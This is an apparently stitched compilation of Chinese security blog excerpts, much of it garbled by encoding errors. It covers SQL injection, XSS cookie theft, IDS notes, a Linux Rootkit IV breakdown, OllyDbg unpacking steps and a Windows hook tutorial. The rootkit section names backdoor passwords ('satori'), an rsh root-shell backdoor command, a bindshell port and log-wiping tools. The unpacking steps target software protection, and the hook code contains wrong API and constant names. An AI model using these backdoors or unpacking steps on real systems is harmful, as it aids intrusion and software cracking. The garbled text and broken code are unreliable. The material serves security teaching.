上面的例子展CZ非法d的手Dc如果用于品检索，则一个普通用h限的用户可以用非法手D获得全部品列表。更严重的情冉|非法用户利用q种漏洞执行pȝ存储q程Q徏立系l用P打开pȝ限制Q完成系l登录?br>
如果我们利用数据库存储过E来完成索，利用参数传递的方式来传送参敎ͼ可以避免这U情c?
]]>
* 跨站脚本d的方法重点在于让用户执行藏有恶意代码的链?/strong>
本文主要介绍跨站脚本d的过E而不是技术细节?br>
我们假定三个角色Q攻击者、用戗网上银行?br>
d的流E主要分以下几个步骤Q?br>
1、攻击者发送EMAILQ其中带有恶意脚本的链接Q链接地址是网上银行）Q或者攻击者在某网站上挂接带有恶意脚本的链接（链接地址是网上银行）Q?br>
2、用L击该链接Q连到网上银行，同时Q嵌入链接的脚本被用L览器执行，开始监视用L|络q接Q?br>
3、用户在|上银行中操作，刚才被执行的脚本攉用户的session和cookie信息Qƈ且在用户毫不知情的情况下发送给d者；
4、攻击者用搜集来的session信息Q伪装成合法用户q入该网上银行进行违法活动?br>
由此可见Q该d的重点在于要有可利用的脚本执行的地方。只要有可利用来执行脚本的空_都是该攻d以实施的目标?br>
在目前，跨站脚本是最大的安全风险?br>
l护览器安全，改变操作习惯Q认真对待看到的信息Q不要随意点L的鼠标?/font>
]]>
regsvr32.exe /u DLL名称]]>
未完
--------------------------------------------
入R系l（IDSQ?/span>Instruction Detection SystemQ：q行入R的软g和硬件的l合?/span>
入R的h和分c?/span>
审计技术：产生、记录ƈ查按旉序排列?strong style="mso-bidi-font-weight: normal">pȝ事g记录的过E?/span>
审计的目标：
定和保持系l活动中每个人的责Q
重徏事g
评估损失
系l的问题?/span>
提供有效的灾难恢?/span>
l织pȝ的不正当使用
审计的前提：有一个支配审计的规则?/strong>?/span>
规则集：通常以安全策略的形式明确表述?/span>
_审计Q风险和威胁分类?/span>
实时入R系l，提出反常zd与计机不正当用之间的相关性?/span>
ZL的入侉|?/span>
ZL和基?strong style="mso-bidi-font-weight: normal">|络入R的集成
?/span>Computer Security Threat Monitoring and Surveillance?/span>, James P. Anderson
《计机安全威胁监控与监视?/span>
_审计的目标在于从安全审计跟踪数据中消除冗余或无关的记录?/span>
计算机系l威胁分c：外部渗透、内部渗透和不法行ؓ?/span>
提出了利用审计数据跟t监视入侉|动的思想?/span>
NSM(Network Security Minitor)
W一ơ将|络?/strong>作ؓ审计数据的来源，因而可以在不将审计数据转换成统一格式的情况下监控异ŞL?/span>
两大阵营正式成立Q基于网l的IDS和基于主机的IDS
DIDS //???
最早试图把ZL和网l监视的Ҏ集成在一赗?/span>
IDS基本l构
三个功能部gQ信息收集、信息分析、信息处理?/span>
1Q信息收集：
pȝ或网l的日志文g。日志中记录了行为类型及其信息?/span>
?#8220;用户zd”Q?/span>
信息Q登陆，用户ID改变Q用户对文g的访问，授权Q认证信息等?/span>
不期望的行ؓQ重复登陆失败，dC期望的位|，非授权的企图讉K重要文g{?/span>
2Q信息分析：
模式匚wQ误用检）
收集到的信?strong style="mso-bidi-font-weight: normal">与已?/strong>|络入R和系l误用模式的数据库进行比?/strong>Q从而发现违背安全策略的行ؓ?/span>
一般一?strong style="mso-bidi-font-weight: normal">q攻模式可以用一?strong style="mso-bidi-font-weight: normal">q程Q如执行一条指令）或一?strong style="mso-bidi-font-weight: normal">输出Q如获得权限Q来表示。该q程可以很简单（如通过字符串匹?/strong>以寻找一个简单的条目或指?/strong>Q，也可以很复杂Q如利用正规的数学表辑ּ来表C?strong style="mso-bidi-font-weight: normal">安全状态的变化Q?/span>
l计分析Q异常检）
首先l系l对象（如用戗文件、目录和讑֤{）创徏一个统计描qͼl计正常使用时的一些测量属性（如访问次数、操作失败次数、g时等Q?/span>
量属性的q_值将被用来与|络、系l的行ؓq行比较QQ何观察值在正常范围之外Ӟp为有入R发生?/span>
完整性分析（往往用于事后分析Q?/span>
主要x某个文g或对象是否被更改。经常包括文件和目录的内容和属性，它在发现被更改的、被安装木马的应用程序方面特别有效?/span>
3Q信息处?/span>
入R的分类
]]>
好多人有一个误解，他们认ؓrootkit是用作获得系lroot讉K权限的工兗实际上Qrootkit是攻击者用来隐藏自qt迹和保留root讉K权限的工兗通常Q攻击者通过q程d获得root讉K权限Q或者首先密码猜或者密码强制破译的方式获得pȝ的访问权限。进入系l后Q如果他q没有获得root权限Q再通过某些安全漏洞获得pȝ的root权限。接着Q攻击者会在R入的L中安装rootkitQ然后他经帔R过rootkit的后门检查系l是否有其他的用L录，如果只有自己Q攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它pȝ的用户和密码之后Q攻击者就会利用这些信息R入其它的pȝ?
什么是rootkit
Rootkit出现于二十世U?0q代初，?994q?月的一安全咨询报告中首先使用了rootkitq个名词。这安全咨询就是CERT-CC的CA-1994-01Q题目是Ongoing Network Monitoring AttacksQ最新的修订旉?997q??9日。从出现至今Qrootkit的技术发展非常迅速，应用来广泛，难度也来大。其中针对SunOS和Linux两种操作pȝ的rootkit最?树大招风:P)。所有的rootkit基本上都是由几个独立的程序组成的Q一个典型rootkit包括Q?
以太|?strong>嗅探?/strong>E程序，用于获得|络上传输的用户名和密码{信息?
Ҏ?strong>木马E序Q例如：inetd或者loginQؓd者提供后门?
隐藏d者的目录和进E的E序Q例如：ps、netstat、rshd和ls{?
可能q包括一?strong>日志清理工具Q例如：zap、zap2或者z2Q攻击者用这些清理工具删除wtmp、utmp和lastlog{日志文件中有关自己行踪的条目?
一些复杂的rootkitq可以向d者提供telnet、shell和finger{服务?
q包括一些用来清?var/log?var/adm目录中其它文件的一些脚本?
d者用rootkit中的相关E序替代pȝ原来的ps、ls、netstat和df{程序，使系l管理员无法通过q些工具发现自己的踪qV接着使用日志清理工具清理pȝ日志Q消除自qt迹。然后，d者会l常地通过安装的后门进入系l查看嗅探器的日志，以发起其它的d。如果攻击者能够正地安装rootkitq合理地清理了日志文Ӟpȝ理员就会很隑֯觉系l已l被侵入Q直到某一天其它系l的理员和他联pL者嗅探器的日志把盘全部填满Q他才会察觉已经大祸临头了。但是，大多数攻击者在清理pȝ日志时不是非常小心或者干脆把pȝ日志全部删除了事Q警觉的pȝ理员可以根据这些异常情况判断出pȝ被R入。不q，在系l恢复和清理q程中，大多数常用的命o例如ps、df和ls已经不可信了。许多rootkit中有一个叫做FIX的程序，在安装rootkit之前Q攻击者可以首先用这个程序做一个系l二q制代码的快照，然后再安装替代程序。FIX能够Ҏ原来的程序伪造替代程序的三个旉?atime、ctime、mtime)、date、permission、所属用户和所属用L。如果攻击者能够准地使用q些优秀的应用程序，q且在安装rootkit时行}慎，׃让系l管理员很难发现?
LINUX ROOTKIT IV
前面说过Q大部分rootkit是针对Linux和SunOS的，下面我们介绍一个非常典型的针对Linuxpȝ的rootkit--Linux Rootkit IV。Linux Rootkit IV是一个开放源码的rootkitQ是Lord Somer~写的，?998q?1月发布。不q，它不是第一个Linux RootkitQ在它之前有lrk、lnrk、lrk2和lrk3{Linux Rootkit。这些rootkit包括常用的rootkitlgQ例如嗅探器、日志编?删除工具、和后门E序的?
l过q么多年的发展，Linux Rootkit IV功能变的来完善，h的特征也来多。不q，虽然它的代码非常庞大Q却非常易于安装和用，只要执行make install可以成功安装。如果你q要安装一个shadow工具Q只要执行make shadow install可以了。注意：Linux Rootkit IV只能用于Linux 2.x的内核。下面我们简单地介绍一下Linux Rootkit IV包含的各U工P详细的介l请参考其发布包的README文g?
隐藏入R者行t的E序
Z隐藏入R者的行踪QLinux Rootkit IV的作者可谓煞费心机，~写了许多系l命令的替代E序Q用这些程序代替原qpȝ命oQ来隐藏入R者的行踪。这些程序包括：
ls、find、du
q些E序会阻止显C入侵者的文g以及计算入R者文件占用的I间。在~译之前Q入侵者可以通过ROOTKIT_FILES_FILE讄自己的文件所处的位置Q默认是/dev/ptyr。注意如果在~译时用了SHOWFLAG选项Q就可以使用ls -/命o列出所有的文g。这几个E序q能够自动隐藏所有名字ؓQptyr、hack.dir和W4r3z的文件?
ps、top、pidof
q几个程序用来隐藏所有和入R者相关的q程?
netstat
隐藏?入指定IP地址或者端口的|络数据量?
killall
不会杀死被入R者隐藏的q程?
ifconfig
如果入R者启动了嗅探器，q个E序阻止PROMISC标记的显C，使系l管理员难以发现|络接口已经处于h模式下?
crontab
隐藏有关d者的crontab条目?
tcpd
L向日志中记录某些q接
syslogd
qo掉日志中的某些连接信?
木马E序
为本地用h供后门，包括Q?
chfn
提升本地普通用h限的E序。运行chfnQ在它提C入新的用户名Ӟ如果用户输入rookit密码Q他的权限就被提升ؓroot。默认的rootkit密码是satori?
chsh
也是一个提升本地用h限的E序。运行chshQ在它提C入新的shellӞ如果用户输入rootkit密码Q他的权限就被提升ؓroot?
passwd
和上面两个程序的作用相同。在提示你输入新密码Ӟ如果输入rookit密码Q权限就可以变成root?
login
允许使用M帐户通过rootkit密码d。如果用root帐户d被拒l，可以试一下rewt。当使用后门Ӟq个E序q能够禁止记录命令的历史记录?
木马|络监控E序
q些E序E用h供后门，可以向远E用h供inetd、rsh、ssh{服务，具体因版本而异。随着版本的升U，Linux Rootkit IV的功能也来强大，特征也越来越丰富。一般包括如下网l服务程序：
inetd
Ҏ伊inetdE序Qؓd者提供远E访问服务?
rshd
为攻击者提供远Eshell服务。攻击者用rsh -l rootkitpassword host command命o可以启动一个远Eroot shell?
sshd
为攻击者提供ssh服务的后门程序?
工具E序
所有不属于以上cd的程序都可以归如q个cdQ它们实C些诸如：日志清理、报文嗅探以及远Eshell的端口绑定等功能Q包括：
fix
文g属性伪造程?
linsniffer
报文嗅探器程序?
sniffchk
一个简单的bash shell脚本Q检查系l中是否正有一个嗅探器在运行?
wted
wtmp/utmp日志~辑E序。你可以使用q个工具~辑所有wtmp或者utmpcd的文件?
z2
utmp/wtmp/lastlog日志清理工具。可以删除utmp/wtmp/lastlog日志文g中有x个用户名的所有条目。不q，如果用于Linuxpȝ需要手工修改其源代码，讄日志文g的位|?
bindshell
在某个端口上l定shell服务Q默认端口是12497。ؓq程d者提供shell服务?
如何发现rootkit
很显Ӟ只有使你的网l非常安装让d者无隙可乘，才能是自q|络免受rootkit的媄响。不q，恐怕没有h能够提供q个保证Q但是在日常的网l管理维护中保持一些良好的习惯Q能够在一定程度上减小由rootkit造成的损失，q及时发现rootkit的存在?
首先Q不要在|络上用明文传输密码，或者用一ơ性密码。这P即你的pȝ已经被安装了rootkitQ攻击者也无法通过|络监听Q获得更多用户名和密码，从而避免入늚蔓g?
使用Tripwire和aide{检工兯够及时地帮助你发现攻击者的入RQ它们能够很好地提供pȝ完整性的查。这cd具不同于其它的入侉|工P它们不是通过所谓的d特征码来入侵行为，而是监视和检查系l发生的变化。Tripwire首先使用特定的特征码函数为需要监视的pȝ文g和目录徏立一个特征数据库Q所谓特征码函数是使用L的文件作入，产生一个固定大的数据(特征?的函数。入侵者如果对文gq行了修改，即文g大小不变Q也会破坏文件的特征码。利用这个数据库QTripwire可以很容易地发现pȝ的变化。而且文g的特征码几乎是不可能伪造的Q系l的M变化都逃不qTripwire的监?当然Q前提是你已l针对自qpȝ做了准确的配|?PQ关于Tripwire和aide的用请参考本站的相关文章)。最后，需要能够把q个特征码数据库攑ֈ安全的地斏V?
前一D|_写了几篇rootkit分析文章Q这权且作一pd文章的ȝQ到此ؓ止。但是在最q发布的Phrack58-0x07(Linux on-the-fly kernel patching without LKM)中实C个直接修改内核数据结构的rootkitQ因此决定写一个箋?P<br>
]]>
3.OEPQ程序的入口点，软g加壳是隐藏了OEPQ或者用了假的OEPQ，
只要我们扑ֈE序真正的OEPQ就可以立刻脱壳?
开始正式介l方法啦Q！
Ҏ一Q?
1.用OD载入Q不分析代码Q?
2.单步向下跟踪F8Q是向下跳的让它实现
3.遇到E序往回蟩的（包括循环Q，我们在下一句代码处按F4Q或者右健单M码，选择断点——运行到所选）
4.l色U条表示跌{没实玎ͼ不用理会Q红色线条表C转已l实玎ͼ
5.如果刚蝲入程序，在附q就有一个CALL的，我们F7跟进去，q样很快p到程序的OEP
6.在跟t的时候，如果q行到某个CALLE序p行的Q就在这个CALL中F7q入
7.一般有很大的蟩转，比如 jmp XXXXXX 或?JE XXXXXX 或者有RETE的一般很快就会到E序的OEP?
Ҏ二：
ESP定理脱壳QESP在OD的寄存器中，我们只要在命令行下ESP的硬件访问断点，׃一下来到程序的OEP了！Q?
1.开始就点F8Q注意观察OD右上角的寄存器中ESP有没出现?
2.在命令行下：dd 0012FFA4(指在当前代码中的ESP地址)Q按回RQ?
3.选种下断的地址Q下g讉KWORD断点?
4.按一下F9q行E序Q直接来C跌{处，按下F8Q到辄序OEPQ脱?
Ҏ三：
内存跟踪Q?
1Q用OD打开软gQ?
2Q点击选项——调试选项——异常，把里面的忽略全部√上！CTRL+F2重蝲下程序！
3Q按ALT+M,DA 打开内存镜象Q找到第一?rsrc.按F2下断点，
然后按SHIFT+F9q行到断点，接着再按ALT+M,DA 打开内存镜象Q找?RSRC上面的CODEQ按
F2下断点！然后按SHIFT+F9Q直接到辄序OEPQ脱壻I
Ҏ四：
一步到达OEPQ前辈们ȝ的经验）
1.开始按Ctrl+F,输入QpopadQ只适合数I包括ASPACKIQ然后按下F2QF9q行到此?
2.来到大蟩转处Q点下F8Q脱壳之Q?
Ҏ五：
1Q用OD打开软gQ?
2Q点击选项——调试选项——异常，把里面的√全部LQCTRL+F2重蝲下程序！
3Q一开是程序就是一个蟩转，在这里我们按SHIFT+F9Q直到程序运行，C从开始按F9到程?
q行的次敎ͼ
4QCTRL+F2重蝲E序Q按SHIFT+F9Q次CؓE序q行的次?1?
5Q在OD的右下角我们看见有一个SE 句柄Q这时我们按CTRL+GQ输入SE 句柄前的地址Q?
6Q按F2下断点！然后按SHIFT+F9来到断点处！
7Q去掉断点，按F8慢慢向下赎ͼ
8Q到辄序的OEPQ脱壻I
]]>
看雪--解密分析入门基础知识
http://bbs.pediy.com/showthread.php?t=31840
|络攻防
查询WHOIS数据?/strong>
NIC的WHOIS数据?
http://www.internic.net/whois.html
Uwhois
http://www.uwhois.com/
]]>
钩子函数可以截获q处?u>其他应用E序的消?/span>。每当特定的消息发出Q在没有到达目的H口前，钩子E序先捕获该消息，亦即钩子函数先得到控制权。这旉子函数即可以加工处理Q改变）该消息，也可以不作处理而l传递该消息Q还可以强制l束消息的传递?br>钩子的种cd多，每种钩子可以截获q处理相应的消息Q如键盘钩子可以截获键盘消息Q外壳钩子可以截取、启动和关闭应用E序的消息等
关于HOOK
Hooks
A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
安装一个HOOKQSetWindowsHookEx
ҎU类型的钩子?span style="background-color: #c0c0c0;">pȝ来维护一个钩子链Q最q安装的钩子攑֜铄开始，而最先安装的钩子攑֜最后，也就?span style="background-color: #c0c0c0;">后加入的先获得控制权?br>The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
HHOOK SetWindowsHookEx(
int idHook, // hook type.h看MSDN获得详细信息
HOOKPROC lpfn, // hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // thread identifier
);
得到控制权的钩子函数在完成对消息的处理后Q如果想要该消息l箋传递，那么它必调用另外一个SDK中的API函数CallNextHookEx来传递它?br>(对一个事件处理的hook可能有多个，它们成链Ӟ使用CallNextHookEx一U一U地调用。简单解释过来就?#8220;调用下一个HOOK” )
CallNextHookEx
The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
LRESULT CallNextHookEx(
HHOOK hhk, // handle to current hook
int nCode, // hook code passed to hook procedure
WPARAM wParam, // value passed to hook procedure
LPARAM lParam // value passed to hook procedure
);
hook处理函数
LRESULT CALLBACK HookProc(
int nCode,
WPARAM wParam,
LPARAM lParam
);
取消HOOK
UnhookWindowsHookEx
The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure
);
CZQ?br>[code]
// 监视鼠标消息
// hook处理函数声明
LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam);
static BOOL StartWatchingMouse(); // 开始监?br>static void StopWatchingMouse(); // l束
static HHOOK hHook = NULL; //hook指针
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:开始监视鼠?br>*Record:
--------------------------------------------------------
========================================================*/
BOOL StartWatchingMouse()
{
hHook = SetWindowHookEx(WM_MOUSE, (HOOKPROC) MyMouseProc,
(HINSTANCE) NULL, GetCurrentThreadId());
if(!hHook)
{
return FALSE;
}
return TRUE;
}
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:取消监视鼠标
*Record:
--------------------------------------------------------
========================================================*/
void StopWatchingMouse()
{
if(hHook)
{
UnHookWindowHookEx(hHook);
hHook = NULL;
}
}
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:HOOK处理函数
*Record:
--------------------------------------------------------
========================================================*/
LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)
{
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
MOUSEHOOKSTRUCT *pMouseHookStruct; //鼠标HOOKl构?br>pMouseHookStruct = (MOUSEHOOKSTRUCT *)lParam;
POINT pt = pMouseHookStruct->pt;
//动一下鼠标就会显C鼠标位|?br>CString strMsg;
strMsg.Format("x:\t%d\ny:\t%d", pt.x, pt.y);
AfxMessageBox(strMsg);
return CallNextHookEx(myHook, nCode, wParam, lParam);
}
[/code]
注意Q?br>hook会ɾpȝ变慢Q除非必要，不要频繁使用。在不用的时候尽快删?br>全局钩子必须攑֜DLL?/p>
只是单介l了一下钩子函数的使用ҎQ具体的函数介绍请参阅MSDN和其他文章?/p>